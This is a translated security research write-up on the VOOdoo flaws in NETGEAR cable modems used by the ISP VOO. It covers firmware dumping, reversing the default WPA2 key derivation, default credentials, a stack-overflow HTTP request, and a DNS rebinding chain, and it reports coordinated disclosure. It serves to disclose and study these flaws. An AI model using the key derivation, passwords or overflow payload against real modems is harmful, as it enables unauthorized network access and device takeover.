0x01 漏洞概述
本文概述了VOO的NETGEAR CG3100和CG3700B调制解调器中的VOOdoo漏洞。
这些调制解调器使用弱加密算法来生成默认的WPA2预共享密钥，从而使攻击者可以在存在漏洞的调制解调器的接收范围内从访问点MAC地址获取WPA2预共享密钥。利用调制解调器通过Web管理面板执行远程代码。由于在多个表单处理程序中使用了派生凭证，因此有可能利用此漏洞。
将这些漏洞构成利用链，攻击者可以获得未经授权的VOO客户LAN访问权限，通过Internet或处于访问点的接收范围内，可以攻击路由器并留下了持久化后门，可以直接远程访问网络。
完整技术报告如下：
https://quentinkaiser.be/assets/qkaiser_voodoo_2021.pdf
我于2020年6月向VOO报告了这些问题，并与他们合作以保护受影响的用户。
考虑到NETGEAR已经将设备报废，因此VOO在提出缓解策略时必须非常有创造力，他们不愿提供解决方案影响自己的固件。VOO工程师通过部署两个修复程序来阻止远程利用：ISP级别的DNS重绑定筛选器，以及在未明确使用它的所有调制解调器上禁用UPnP服务。
对 wireless stack 应用了修复程序，以便接入点能够使用实际的无线SoC MAC地址，而不是Netgear固件在启动时分配的MAC地址。这样，接入点不会再泄漏可用于派生默认无线预共享密钥的信息。
通过使用已知的Netgear Organizational Unit Identifiers 和oracle接入点SSID，可以强制执行有效的预共享密钥列表。
如果使用Netgear CG3100或CG3700B的用户仍在使用出厂默认设置，我强烈建议更新其无线SSID和密码。
VOO是比利时的互联网服务提供商，主要为瓦隆地区和布鲁塞尔地区的一部分提供服务。它使用DOCSIS通过现有的有线电视系统提供Internet连接。
VOO当前部署了两种不同型号的调制解调器：
Netgear CG3700B
Technicolor TC7210.V
由于最近发布了Cable Haunt ，我们决定研究以下型号：Netgear CG3700B。
0x02 固件提取
NETGEAR不会发布专用于大型ISP的设备的固件文件。为了获得对固件的访问权限，我们必须利用Web管理面板中的漏洞，或者使用诸如 flash 提取或UART访问之类的物理方式。
鉴于我们对设备的了解有限，我们决定采用物理方式并拆解盒子。
1.访问UART串口
我们马上确定了两个UART引脚。当自动识别波特率时，我们注意到第一个引脚是带电的，另一个则没有。通常，调制解调器具有两个独立的系统：运行Linux的媒体服务器（MS）和运行eCOS或VxWorks的调制解调器（CM）实时操作系统。事实证明，此特定型号没有媒体服务器组件。
完成了详细的启动过程后，我们将Bus Pirate挂接到UART引脚，并获取了CM控制台。
BCM3383A2 TP0 346890 MemSize: 128 M Chip ID: BCM3383Z-B0 BootLoader Version: 2.4.0alpha18 Release Gnu spiboot dual-flash reduced DDR drive linux Build Date: Dec 15 2014 Build Time: 19:25:30 SPI flash ID 0xc22013, size 0MB, block size 64KB, write buffer 256, flags 0x0 NAND flash: Device size 128 MB, Block size 128 KB, Page size 2048 B parameter offset is 41508 Signature/PID: c200 Reading flash map at ff30, size 192 Successfully restored flash map from SPI flash! NandFlashRead: Reading offset 0x0, length 0x5c Image 1 Program Header: Signature: c200 Control: 0005 Major Rev: 0003 Minor Rev: 0000 Build Time: 2016/10/25 08:50:23 Z File Length: 4951748 bytes Load Address: 80004000 Filename: CG3700B-1V2FSS_V2.03.03u_sto.bin HCS: d65b CRC: 6991be87 Found image 1 at offset 80000 NandFlashRead: Reading offset 0x4000000, length 0x5c Enter '1', '2', or 'p' within 2 seconds or take default... . . NandFlashRead: Reading offset 0x0, length 0x200 NandFlashRead: Reading offset 0x200, length 0x4b8d20 Performing CRC on Image 1... CRC time = 131499340 Detected LZMA compressed image... decompressing... Target Address: 0x80004000 decompressSpace is 0x8000000 Elapsed time 3160571220 Decompressed length: 23144647 Copying partition table to 0x83fffc04 180 Copying partition table to 0x80000904 180 Executing Image 1... --snip-- CM>
2.使用bcm2-utils提取固件
在搜索基于Broadcom的调制解调器的文档时，我们发现了bcm2-utils。该项目提供了两个实用程序：
https://github.com/jclehner/bcm2-utils
bcm2dump：Dumpram / flash的实用程序，主要用作基于Broadcom SoC的调制解调器的固件Dump工具。通过串行连接和telnet工作。
bcm2cfg：用于修改/加密/解密配置文件（也称为GatewaySettings.bin）以及NVRAMImage的工具。
bcm2dump需要从 profiledef.c 定义特定型号的内存映射才能工作。由于测试中的设备还没有被记录下来，我们使用调制解调器的flash命令来收集信息。
如下所示，eCOS系统使用两个flash：
引导程序和非易失性数据的SPI flash
NAND flash存储固件文件（image1和image2）。
CM> cd flash
Active Command Table: Flash Driver Commands (flash)
CM -> flash
CM/Flash> show
Flash Device Information:
CFI Compliant: no
Command Set: Generic SPI Flash
Device/Bus Width: x16
Little Word Endian: no
Fast Bulk Erase: no
Multibyte Write: 256 bytes max
Phys base address: 0xbadf1a5
Uncached Virt addr: 0x1badf1a5
Cached Virt addr: 0x2badf1a5
Number of blocks: 8
Total size: 524288 bytes, 0 Mbytes
Current mode: Read Array
Device Size: 512 KB, Write buffer: 256, Flags: 0
Size Device Device Region
Block kB Address Offset Offset Region Allocation
----- ---- ---------- ----------- --------- -----------------
0 64 0x1badf1a5 0 0 bootloader (65536 bytes)
1 64 0x1baef1a5 0x10000 0 permnv (65536 bytes)
2 64 0x1baff1a5 0x20000 ??? {unassigned}
3 64 0x1bb0f1a5 0x30000 ??? {unassigned}
4 64 0x1bb1f1a5 0x40000 ??? {unassigned}
5 64 0x1bb2f1a5 0x50000 ??? {unassigned}
6 64 0x1bb3f1a5 0x60000 0 dynnv
7 64 0x1bb4f1a5 0x70000 0x10000 dynnv (131072 bytes)
Flash Device Information:
CFI Compliant: no
Command Set: Generic NAND Flash
Device/Bus Width: x16
Little Word Endian: no
Fast Bulk Erase: no
Multibyte Write: 512 bytes max
Phys base address: 0xbadf1a5
Uncached Virt addr: 0x1badf1a5
Cached Virt addr: 0x2badf1a5
Number of blocks: 1024
Total size: 134217728 bytes, 128 Mbytes
Current mode: Read Array
Device Size: 128MB, Block size: 128KB, Page size: 2048
Size Device Device Region
Block kB Address Offset Offset Region Allocation
----- ---- ---------- ----------- --------- -----------------
0 128 0x1badf1a5 0 0 image1
1 128 0x1baff1a5 0x20000 0x20000 image1
2 128 0x1bb1f1a5 0x40000 0x40000 image1
3 128 0x1bb3f1a5 0x60000 0x60000 image1
4 128 0x1bb5f1a5 0x80000 0x80000 image1
5 128 0x1bb7f1a5 0xa0000 0xa0000 image1
--snip--
509 128 0x1fa7f1a5 0x3fa0000 0x3fa0000 image1
510 128 0x1fa9f1a5 0x3fc0000 0x3fc0000 image1
511 128 0x1fabf1a5 0x3fe0000 0x3fe0000 image1 (67108864 bytes)
512 128 0x1fadf1a5 0x4000000 0 image2
513 128 0x1faff1a5 0x4020000 0x20000 image2
514 128 0x1fb1f1a5 0x4040000 0x40000 image2
515 128 0x1fb3f1a5 0x4060000 0x60000 image2
516 128 0x1fb5f1a5 0x4080000 0x80000 image2
--snip--
1022 128 0x23a9f1a5 0x7fc0000 0x3fc0000 image2
1023 128 0x23abf1a5 0x7fe0000 0x3fe0000 image2 (67108864 bytes)掌握了这些信息后，编写以下资料：
diff --git a/profiledef.c b/profiledef.c
index 8cb6f9b..25dac47 100644
--- a/profiledef.c
+++ b/profiledef.c
@@ -66,6 +66,33 @@ struct bcm2_profile bcm2_profiles[] = {
{ .name = "ram" },
},
},
+ {
+ .name = "CG3700B",
+ .pretty = "CG3700B-1V2FSS",
+ .pssig = 0xa0f7,
+ .baudrate = 115200,
+ .spaces = {
+ { .name = "ram" },
+ {
+ .name = "nvram",
+ .size = 512 * 1024,
+ .parts = {
+ { "bootloader", 0x0000000, 0x010000 },
+ { "permnv", 0x0010000, 0x010000, "perm" },
+ { "dynnv", 0x0060000, 0x020000, "dyn" },
+ }
+ },
+ {
+ .name = "flash",
+ .size = 128 * 1024 * 1024,
+ .parts = {
+ { "image1", 0x0000000, 0x4000000 },
+ { "image2", 0x4000000, 0x4000000 }
+ }
+
+ }
+ }
+ },然后，我们尝试通过串行连接Dump固件Image，但是一直无法成功。后来我们发现eCOS一直在记录IPv6路由器消息，例如以下消息：
nd6_ra_input: Processing router advertisement from fe80:xxxx::xxxx:xxxx:xxxx:xxxx on interface bcm2
这些日志扰乱了 bcm2dump 从控制台获得的内容，我们的Dump过程也失败了，通过以下命令禁用路由广告日志来解决这个问题:
CM> /ip_hal/nd_debug false
最后，我们Dump了固件Image以及来自nvram的数据：
./bcm2dump -v -P CG3700B dump /dev/ttyUSB0 flash image1 /tmp/image1.bin ./bcm2dump -vvv -P CG3700B dump /dev/ttyUSB0 nvram permnv /tmp/nvram.out ./bcm2dump -v -P CG3700B dump /dev/ttyUSB0 nvram dynnv /tmp/dynnv.out
Dump整个固件大约需要7个小时。
0x03 固件分析
1.提取 ProgramStore
固件文件以ProgramStore文件格式保存。该格式定义了一个自定义标头，其中包含日期，版本，文件名和加载地址，然后是使用LZMA压缩的实际固件。
https://github.com/Broadcom/aeolus/blob/master/ProgramStore/ProgramStore.h
00000000 c2 00 00 05 00 03 00 00 58 0f 1c cf 00 4b 8e c4 |........X....K..| 00000010 80 00 40 00 43 47 33 37 30 30 42 2d 31 56 32 46 |[email protected]| 00000020 53 53 5f 56 32 2e 30 33 2e 30 33 75 5f 73 74 6f |SS_V2.03.03u_sto| 00000030 2e 62 69 6e 00 00 00 00 00 00 00 00 00 00 00 00 |.bin............| 00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000050 00 00 00 00 d6 5b 00 00 69 91 be 87 5d 00 00 00 |.....[..i...]...| 00000060 01 00 20 20 0e 00 0d 3a 28 ab ef 31 23 33 44 83 |.. ...:(..1#3D.| 00000070 db 18 9b 57 12 d9 ed 76 9b d2 8d 4c ad 5b 7f 7a |...W...v...L.[.z| 00000080 0f 11 d2 c8 a8 77 99 48 98 fb 58 74 c2 b6 82 6e |.....w.H..Xt...n| 00000090 74 89 bd 9f fb 21 63 03 40 1b dd 39 8b 6e a5 4f |[email protected]|
为了解压缩固件Image，需要从Broadcom编译ProgramStore实用程序：
git clone https://github.com/Broadcom/aeolus.git cd aeolus/ProgramStore make
编译完成后，你可以使用它解压缩Image：
./ProgramStore -f ~/research/voo/image1.bin -x No output file name specified. Using /home/quentin/research/voo/image1.out. Signature: c200 Control: 0005 Major Rev: 0003 Minor Rev: 0000 Build Time: 2016/10/25 08:50:23 Z File Length: 4951748 bytes Load Address: 80004000 Filename: CG3700B-1V2FSS_V2.03.03u_sto.bin HCS: d65b CRC: 6991be87
2.在Radare2中加载固件
可以使用以下命令在radare2中加载固件：
r2 -a mips -b 32 -m 0x80004000 -e 'cfg.bigendian=true' image1
3.在Ghidra中加载固件
在Ghidra中加载时，需要将架构设置为MIPS 32位大端：
还需要设置正确的加载地址：
可以定义更精确的内存映射以加快分析过程。
4.确定函数偏移
固件是去除所有符号的静态链接原始二进制文件，因此要准确识别函数可能会存在问题。
我们最初的计划是在代码中标识syscall，以找到其专用的函数封装器，然后从那里开始工作，但是找不到任何有用的东西。
Lyrebirds给了我们建议：
固件中通常是找到许多syscall的，因为syscall通常是与内核交互，而ecos固件始终在内核空间中运行。因此，IO交互将通过直接访问该设备的内核内存地址来完成。
我们讨论了一些方法：
按外部参照的数量对函数进行排序应该使库函数位于顶部，列表顶部的不调用任何其他函数的函数很可能是库函数
来自同一库的函数在链接到最终固件之前，已在相同的目标文件中编译，这意味着它们将以相同的顺序出现。例如，strncat在strlen之后紧随其后。
使用FLIRT插件
https://www.hex-rays.com/products/ida/tech/flirt/in_depth/
⚫MD5 函数
可以通过查找处理MD5转换表的函数来确定与MD5相关的函数。
如果确定了md5_transorm，md5_init，md5_final，那么md5_update就在它们旁边。
⚫字符串操作函数
任何引用0xFEFEFEFF和0x80808080的内容都很可能是字符串处理函数。这两个值在检查所有字节是否为非零的代码中使用。
所使用的算法改编自Mac OS 9 stdCLib strcopy例程，该例程最初由Gary Davidian编写。它依赖于以下相当不明显但非常有效的测试：y = dataWord + 0xFEFEFEFF; z =〜dataWord＆0x80808080; 如果（y＆z）= 0，则dataWord中的所有字节都不为零。
0x04 漏洞挖掘
以下各节介绍了我们通过对固件代码进行逆向发现的安全漏洞。
1.不安全的WPA2 PSK生成
⚫逆向 SSID 生成器
VOO调制解调器无线接入点的默认SSID设置为“ VOO-”，后跟六位数字。确定了在偏移量0x803bd1b8处生成默认SSID的函数。下面提供了函数反汇编代码，手动重命名了函数和参数。
通过使用MD5对设备的MAC地址之一进行哈希处理（格式为0x％06X），然后使用哈希的前6个字节作为整数模10来生成SSID，记录每个步骤的详细图表如下所示。
⚫逆向 WPA PSK 生成器
SSID生成（偏移量0x803bd37c）下方的函数负责生成默认的PSK，下面提供了函数反汇编代码，手动重命名了函数和参数。
通过使用MD5对访问点MAC地址进行哈希处理（格式为“ 0x％06X”），然后使用哈希值中包含的5到12个字节（强制转换为大写ASCII）来生成PSK。
⚫利用不安全的 PSK
通过将无线接口设置为监视模式，可以观察附近的接入点。然后，我们可以过滤以“ VOO-”开头的SSID和属于NETGEAR的MAC地址的SSID。
接入点MAC地址不是用于生成PSK的地址，但是鉴于MAC在受影响的设备上是连续的，可以猜测正确的MAC地址。
例如，以下是我们测试设置中的MAC地址：
| MAC地址 | 接口 | 备注 |
|---|---|---|
| a4：2b：8c：a0：c0：b8 | IP Stack1-上游局域网 | 用于生成PSK |
| a4：2b：8c：a0：c0：b9 | IP Stack5-局域网 | |
| a4：2b：8c：a0：c0：ba | IP Stack6-上游局域网 | |
| a4：2b：8c：a0：c0：bb | AP MAC地址 | 监测到的MAC |
| a4：2b：8c：a0：c0：bc | IP Stack3-广域网 |
为了猜测正确的MAC地址，可以强制执行MAC地址的最后一个八位字节，并使用SSID值作为oracle，这样就可以知道是否得到了正确的MAC地址，这意味着最多要检查oracle 255次。
在配置文件中，用于生成PSK的MAC始终是MAC-0x03。通过从WiGLE中索引的所有VOO接入点的MAC地址0x03导出SSID，并根据索引的SSID验证结果，从而验证了这一假设。
如下图所示，受影响的设备中有63％使用的“ MAC distance”为3。这意味着对于所有这些设备，不需要进行爆破，通过推导就可以获得SSID。。
其余37％的用户大概率也使用录入与MAC命名惯例相同的预测规律，不同的是IP Stack6和IP Stack1接口之间的组织唯一标识符。
2.默认弱口令凭证
已识别出多个弱口令默认帐户：
MSO：changeme 可以通过https://192.168.0.1:8443/访问Web界面
admin：admin 启用这些服务后，可以通过IP Stack1接口通过Telnet或SSH访问路由器。IP Stack1是暴露给ISP OSS网络的接口。
readyshare：readyshare DLNA / SMB帐户（目前VOO尚未使用）
3.缓冲区溢出漏洞
调制解调器的Web管理代码中存在大内存不安全的C函数（例如strcpy）的调用，设备容易受到远程缓冲区溢出漏洞的影响。
通过发送如下所示的HTTP请求，有可能触发栈溢出。发送请求将触发崩溃，详细崩溃日志如下：
POST /goform/controle?id=1205828651 HTTP/1.1 Host: 192.168.0.1 Content-Length: 596 Cache-Control: max-age=0 Authorization: Basic dm9vOkhSRExUV0tJ Origin: http://192.168.0.1 Upgrade-Insecure-Requests: 1 DNT: 1 Content-Type: application/x-www-form-urlencoded Referer: http://192.168.0.1/controle.htm Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,fr;q=0.8 Connection: close text_keyword=a&text_block=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&text_allow=&Action_Add=Add&Action_Del=0&Action_Function=2
会触发栈溢出：
>>> YIKES... looks like you may have a problem! <<< r0/zero=00000000 r1/at =00000000 r2/v0 =80f6fcc4 r3/v1 =41414141 r4/a0 =00000000 r5/a1 =86489960 r6/a2 =80808080 r7/a3 =01010101 r8/t0 =86489860 r9/t1 =fffffffe r10/t2 =864897c0 r11/t3 =86489850 r12/t4 =00000001 r13/t5 =00416374 r14/t6 =696f6e5f r15/t7 =44656c3d r16/s0 =815d9be5 r17/s1 =815d9ab4 r18/s2 =80f758d8 r19/s3 =815d9ac1 r20/s4 =815d9bcd r21/s5 =815d9bd9 r22/s6 =00000000 r23/s7 =815d9bf4 r24/t8 =00000000 r25/t9 =00000000 r26/k0 =00000005 r27/k1 =00000005 r28/gp =8161e5d0 r29/sp =86489850 r30/fp =864899ec r31/ra =8068069c PC : 0x806809d4 error addr: 0x41414141 cause: 0x00000014 status: 0x1000ff03 BCM interrupt enable: 18024085, status: 00000000 Instruction at PC: 0xac620000 iCache Instruction at PC: 0xafbf0000 entry 80680340 Return address (41414141) invalid. Trace stops. Task: HttpServerThread --------------------------------------------------- ID: 0x00e8 Handle: 0x8648f2c0 Set Priority: 23 Current Priority: 23 State: SUSP Stack Base: 0x86483e0c Stack Size: 24576 bytes Stack Used: 4508 bytes
返回地址已被payload（0x41414141）覆盖。可以开发出有效的漏洞利用程序来在设备上实现稳定的远程代码执行利用。
PoC如下：
https://github.com/QKaiser/voodoo
0x05 远程漏洞利用
VOO调制解调器的Web管理界面未直接暴露于公共Internet上，只能从局域网LAN端访问。但是，攻击者可能通过使用户打开恶意网页来攻击调制解调器。恶意网页将利用缓冲区溢漏洞来执行JavaScript代码，以实现远程代码行。为此，恶意代码将需要绕过两个安全机制：同源策略、强制身份验证和授权。
我们发现受影响的设备容易受到DNS重新绑定攻击的攻击，可用于绕过同源策略。由于信息泄漏影响了调制解调器公开的通用即插即用服务，我们还确定了获取有效凭据的方法。
1.DNS重绑定
攻击者注册了一个域（例如Attacker.com），并将其委派给受攻击者控制的DNS服务器。服务器配置为以非常短的生存时间（TTL）记录进行响应，从而防止DNS响应被缓存。当受害者浏览到恶意域时，攻击者的DNS服务器首先以托管恶意客户端代码的服务器的IP地址进行响应。
恶意的客户端代码对原始域名（例如Attacker.com）进行了其他访问，这些是同源政策所允许的。但是，当受害者的浏览器运行脚本时，它将向该域发出新的DNS请求，攻击者将使用新的IP地址进行回复。在我们的目标中，他们将使用调制解调器的默认IP地址（192.168.0.1）进行答复。
受影响的设备很容易受到DNS重新绑定的影响，因为它们不检查HTTP请求主机标头值。当设备收到对已经反弹的域的请求时，主机标头将设置为反弹域名（例如，Attacker.com）。设备缺少防护措施，例如仅允许使用主机标头作为设备的IP地址（例如192.168.0.1）或设备的主机名（例如mymodem.voo）。
2.强制身份验证
受影响的设备在所有Web管理界面上强制执行身份验证。因此，恶意客户端代码需要获得有效的凭据。
⚫硬编码帐户
存在默认帐户（MSO：changeme），但只能在https://192.168.0.1:8443上使用。鉴于它是配置有不受信任证书的SSL / TLS服务，因此对该URL的任何请求都将被浏览器阻止。
因此，将经过身份验证的请求发送到Web管理面板的唯一方法是获取“ voo”用户的密码。“ voo”用户密码是无线预共享密钥值，攻击者将需要派生正确的预共享密钥。
⚫UPnP信息泄漏
Netgear CG3700B设备默认在其服务器上公开通用即插即用服务。当从http://192.168.0.1/RootDevice.xml请求根设备信息时，设备将返回一个XML文件，该文件的唯一设备名（UDN）设置为uuid：upnp-InternetGatewayDevice-1_0-，后跟设备的IP Stack5接口MAC小写的地址字节：
< ?xml version="1.0" encoding="utf-8"? >< root xmlns="urn:schemas-upnp-org:device-1-0" > --snip-- < modelNumber >CG3700B-1V2FSS< /modelNumber >< modelURL > /modelURL >< serialNumber >37P4547201B84< /serialNumber >< UDN >uuid:upnp-InternetGatewayDevice-1_0-a42b8ca0c0b9< /UDN > < !--here-- > --snip--
假设IP Stack5接口MAC地址只是设备的IP Stack1接口MAC地址+ 1字节，并且IP Stack1接口MAC地址用于派生预共享密钥，我们可以利用此信息泄漏来派生密码用于在网络管理面板上进行身份验证。
使用由10个随机数字组成的CSRF令牌，可以保护状态更改请求免受跨站点伪造。考虑到一旦攻击者的域反弹到调制解调器的IP地址，受害者的浏览器将认为恶意代码在同一来源执行，这对我们的利用不会造成任何问题。利用脚本可以简单地请求设置了anti-CSRF令牌的页面，对其进行解析，然后在提交后续请求时使用它。
3.端到端攻击流程
下方显示了一个完整的端到端攻击流程的图，而可以在github找到使设备远程崩溃的PoC。
0x06 影响量评估
我们从WiGLE下载了数据，以评估这些VOO漏洞的影响程度。WiGLE是一个无线地理记录引擎网站，用于收集世界各地不同无线热点的信息。用户可以在网站上注册并上传热点数据，例如GPS坐标，SSID，MAC地址以及热点上使用的加密类型。
我们开发了一个脚本，用于从WiGLE API中提取数据，并设置了过滤器以匹配访问点，该访问点的SSID与位于比利时的VOO命名约定（即“ VOO- [0-9] {6}”）匹配，并且供应商是Netgear或Technicolor。我们总共获得了69763个唯一数据点，并将这些结果输入到ELK栈（ElasticSearch，Kibana，Logstash）中进行分析。
如果假设VOO使客户使用Technicolor路由器替换其Netgear路由器，仅根据2020年观察到的供应商分布的保守估计，它将达到200.000左右。如果VOO不让客户更换Netgear路由器，那么影响量大约在376.000台。
0x07 分析总结
在此研究中，我们成功地证明了VOO调制解调器的无线接收范围内的攻击者可以成功导出默认的WPA2预共享密钥，并实现对客户无线LAN的未授权访问。还证明了Web管理面板容易受到缓冲区溢出漏洞的影响。通过链接这两个漏洞，攻击者只需在接收范围内就可以攻击VOO调制解调器。
通过利用影响UPnP服务描述符的信息泄漏漏洞和缺乏防止DNS重绑定问题，还证明了缓冲区溢出漏洞可以被Internet上的远程攻击者利用。
下面是验证演示视频：
https://quentinkaiser.be/assets/voodoo_exploit_run_srt.mp4
0x08 参考资料
Cable Haunt, Lyrebirds ApS, https://ida.dk/media/6353/jens-h-staermose.pdf
Kablonet WiFi Password, mustafadur, https://www.mustafadur.com/blog/kablonet/
Do not create a backdoor, use your provider one, Kudelski Security, https://research.kudelskisecurity.com/2017/01/06/do-not-create-a-backdoor-use-your-providers-one/
Hacking the Cable Modem: What Cable Companies Don’t Want You to Know, DerEngel, https://books.google.be/books/about/Hacking_the_Cable_Modem.html?id=PblPcRqHM0wC
Hacking the Cable Modem, Samuel Koo, Jihong Yoon, https://www.slideserve.com/kiaria/hacking-the-cable-modem-part-1
A Case Study in Practical Security of Cable Networks, Amir Alsbih, Felix C. Freiling, and Christian Schindelhauer, https://link.springer.com/content/pdf/10.1007%2F978-3-642-21424-0_8.pdf
Aeolus, Broadcom, https://github.com/Broadcom/aeolus
bcm2-utils, Joseph C. Lehner, https://github.com/jclehner/bcm2-utils
Sagemcom Fast 3890 Exploit, Lyrebirds ApS, https://github.com/Lyrebirds/sagemcom-fast-3890-exploit
Technicolor TC7230 exploit, Lyrebirds ApS, https://github.com/Lyrebirds/technicolor-tc7230-exploit
本文翻译自：https://quentinkaiser.be/security/2021/03/09/voodoo/如若转载，请注明原文地址
如有侵权请联系:admin#unsafe.sh